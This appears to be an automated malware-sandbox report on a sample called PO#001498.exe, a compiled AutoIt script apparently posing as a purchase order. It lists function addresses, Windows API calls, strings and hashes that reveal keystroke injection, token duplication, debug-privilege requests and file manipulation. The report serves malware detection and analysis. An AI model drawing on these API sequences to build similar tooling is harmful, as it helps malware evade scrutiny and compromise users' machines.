                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$State$LongProcWindow
                                                                                                                                                                                • String ID: @GUI_DRAGID$F
                                                                                                                                                                                • API String ID: 1562745308-4164748364
                                                                                                                                                                                • Opcode ID: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                                • Instruction ID: f40edf6d5039c675f00343e7880f865f139be9e64e9b8d530a61de5f06f6045f
                                                                                                                                                                                • Opcode Fuzzy Hash: dcc01cbd87ddd492c2c278cbacd50e58f25e8ccd866e9ebab9dee97b514268e5
                                                                                                                                                                                • Instruction Fuzzy Hash: C6429F702042019FD714CF54C884FAB77A5EB89B04F548A6EFA48AB291DBB4EC45CB5A
                                                                                                                                                                                Function 004045E0 Relevance: 46.9, Strings: 35, Instructions: 3193COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID: PF$'|G$*"D$*vG$+%F$0wE$2G$5CG$7eF$<HF$<G$ApG$DvE$GSG$IqE$K@G$LbF$MdF$NgF$PIF$YtG$^[F$_?G$b"D$i}G$j)F$kQG$lE$rTG$vjE$}eE$*F$3G$_G$wG
                                                                                                                                                                                • API String ID: 0-3772701627
                                                                                                                                                                                • Opcode ID: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                                • Instruction ID: b1e67458769bbea4a86cd8903524db5b6e79558e2e7ab8c51025fc7bd56032a7
                                                                                                                                                                                • Opcode Fuzzy Hash: bb854585b2a8d25cf70b859c951904b6599901827447d171664d6ae6ba41e592
                                                                                                                                                                                • Instruction Fuzzy Hash: 118366F1905B409FC351DFAAF984605BAE1F3AA3157A2857FC5088B731D7B8194A8F4C
                                                                                                                                                                                Function 004375B0 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 126threadkeyboardwindowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetForegroundWindow.USER32(00000000,?,?,004448AF,?), ref: 004375B3
                                                                                                                                                                                • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004375D8
                                                                                                                                                                                • IsIconic.USER32(?), ref: 004375E1
                                                                                                                                                                                • ShowWindow.USER32(?,00000009,?,?,004448AF,?), ref: 004375EE
                                                                                                                                                                                • SetForegroundWindow.USER32(?), ref: 004375FD
                                                                                                                                                                                • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00437615
                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00437619
                                                                                                                                                                                • GetWindowThreadProcessId.USER32(?,00000000), ref: 00437624
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437632
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 00437638
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,004448AF,?), ref: 0043763E
                                                                                                                                                                                • SetForegroundWindow.USER32(?), ref: 00437645
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437654
                                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 0043765D
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043766B
                                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 00437674
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437682
                                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 0043768B
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 00437699
                                                                                                                                                                                • keybd_event.USER32(00000012,00000000), ref: 004376A2
                                                                                                                                                                                • SetForegroundWindow.USER32(?), ref: 004376AD
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376CD
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D3
                                                                                                                                                                                • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,004448AF), ref: 004376D9
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                                • String ID: Shell_TrayWnd
                                                                                                                                                                                • API String ID: 3778422247-2988720461
                                                                                                                                                                                • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                                • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                                                                                                                • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                                                • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                                                                                                                Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 0044621B
                                                                                                                                                                                • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                                                                                                                • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                                                                                                                • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                                                                                                                • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                                                                                                                • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                                                                                                                • _wcslen.LIBCMT ref: 0044639E
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 004463C7
                                                                                                                                                                                • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                                                                                                                • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                                                                                                                                • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                                                                                                                • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                                                                                                                                • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                                                                                                                • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                                                                                                                • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                                                                                                                • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                                                                                                                • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                                                                                                                                • String ID: $default$winsta0
                                                                                                                                                                                • API String ID: 2173856841-1027155976
                                                                                                                                                                                • Opcode ID: 46fbf0c91f7472a5aacc8247470ef491aaba77adfafaecf219e6b528db50d2b4
                                                                                                                                                                                • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                                                                                                                • Opcode Fuzzy Hash: 46fbf0c91f7472a5aacc8247470ef491aaba77adfafaecf219e6b528db50d2b4
                                                                                                                                                                                • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                                                                                                                Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO#001498.exe,?,C:\Users\user\Desktop\PO#001498.exe,004A8E80,C:\Users\user\Desktop\PO#001498.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                  • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                                                  • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                                                  • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                                                  • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0044BD96
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0044BDBF
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                                                                                                                • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 0044BE73
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0044BE85
                                                                                                                                                                                • _wcscat.LIBCMT ref: 0044BE97
                                                                                                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                                                                                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                                                                                                                • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                                                                                                                • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                                                                                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                                                                                                                • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                                                                                                                • String ID: \*.*
                                                                                                                                                                                • API String ID: 2188072990-1173974218
                                                                                                                                                                                • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                                • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                                                                                                                • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                                                • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                                                                                                                Function 0042039F Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 282timeCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 004203A4
                                                                                                                                                                                  • Part of subcall function 00417D93: _memset.LIBCMT ref: 00417DBB
                                                                                                                                                                                  • Part of subcall function 00417D93: IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 00417E6F
                                                                                                                                                                                  • Part of subcall function 00417D93: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 00417E79
                                                                                                                                                                                  • Part of subcall function 00417D93: UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 00417E86
                                                                                                                                                                                  • Part of subcall function 00417D93: GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 00417EA1
                                                                                                                                                                                  • Part of subcall function 00417D93: TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 00417EA8
                                                                                                                                                                                • __get_daylight.LIBCMT ref: 004203B0
                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 004203BF
                                                                                                                                                                                • __get_daylight.LIBCMT ref: 004203CB
                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 004203DA
                                                                                                                                                                                • ____lc_codepage_func.LIBCMT ref: 004203E2
                                                                                                                                                                                • _strlen.LIBCMT ref: 00420442
                                                                                                                                                                                • __malloc_crt.LIBCMT ref: 00420449
                                                                                                                                                                                • _strlen.LIBCMT ref: 0042045F
                                                                                                                                                                                • _strcpy_s.LIBCMT ref: 0042046D
                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 00420482
                                                                                                                                                                                • GetTimeZoneInformation.KERNEL32(00496C28), ref: 004204AA
                                                                                                                                                                                • WideCharToMultiByte.KERNEL32(?,?,00496C2C,?,?,0000003F,?,?), ref: 00420528
                                                                                                                                                                                • WideCharToMultiByte.KERNEL32(?,?,00496C80,000000FF,?,0000003F,?,?,?,00496C2C,?,?,0000003F,?,?), ref: 0042055C
                                                                                                                                                                                  • Part of subcall function 00413A88: __lock.LIBCMT ref: 00413AA6
                                                                                                                                                                                  • Part of subcall function 00413A88: ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                                                  • Part of subcall function 00413A88: ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                                                  • Part of subcall function 00413A88: RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                                                  • Part of subcall function 00413A88: GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                                                • __invoke_watson.LIBCMT ref: 004205CC
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __invoke_watson$ByteCharExceptionFilterMultiProcessUnhandledWide__get_daylight_strlen$CurrentDebuggerErrorFreeHeapInformationLastPresentTerminateTimeZone____lc_codepage_func___sbh_find_block___sbh_free_block__lock__malloc_crt_memset_strcpy_s
                                                                                                                                                                                • String ID: S\
                                                                                                                                                                                • API String ID: 4084823496-393906132
                                                                                                                                                                                • Opcode ID: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                                                                                                • Instruction ID: b357f19af7064e56bcdb8625987f67de7edc2332d57e558cb2e7b84f91b73af7
                                                                                                                                                                                • Opcode Fuzzy Hash: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                                                                                                • Instruction Fuzzy Hash: 6A91D371E00125AFDB20EF65EC819AE7BE9EF55300B95003BF540A7253DA3C89828F5C
                                                                                                                                                                                Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                                                                                                                • __swprintf.LIBCMT ref: 00434D91
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00434D9B
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00434DB0
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00434DC5
                                                                                                                                                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                                                                                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                                                                                                                • _memset.LIBCMT ref: 00434E27
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00434E3C
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                                                                                                                • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                                                                                                                • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                                                                                                                • String ID: :$\$\??\%s
                                                                                                                                                                                • API String ID: 302090198-3457252023
                                                                                                                                                                                • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                                                • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                                                                                                                • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                                                • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                                                                                                                Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                                                                                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                                                                                                                • GetLastError.KERNEL32 ref: 004644B4
                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                                                                                                                • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                                                                                                                • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                                                                                                                • String ID: SeDebugPrivilege
                                                                                                                                                                                • API String ID: 1312810259-2896544425
                                                                                                                                                                                • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                                • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                                                                                                                • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                                • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                                                                                                                Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                                                                                                                  • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\PO#001498.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                                                                                                                  • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                                                                                                                  • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                                                                                                                • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                                                                                                                • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\PO#001498.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                                                                                                                  • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 0040D7D6
                                                                                                                                                                                • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                                                                                                                • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 00431B0E
                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 00431B3F
                                                                                                                                                                                • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                                                                                                                • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                                                                                                                  • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                                                  • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                                                  • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                                                  • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                                                  • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                                                  • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                                                  • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                                                  • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                                                  • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                                                  • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                                                  • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
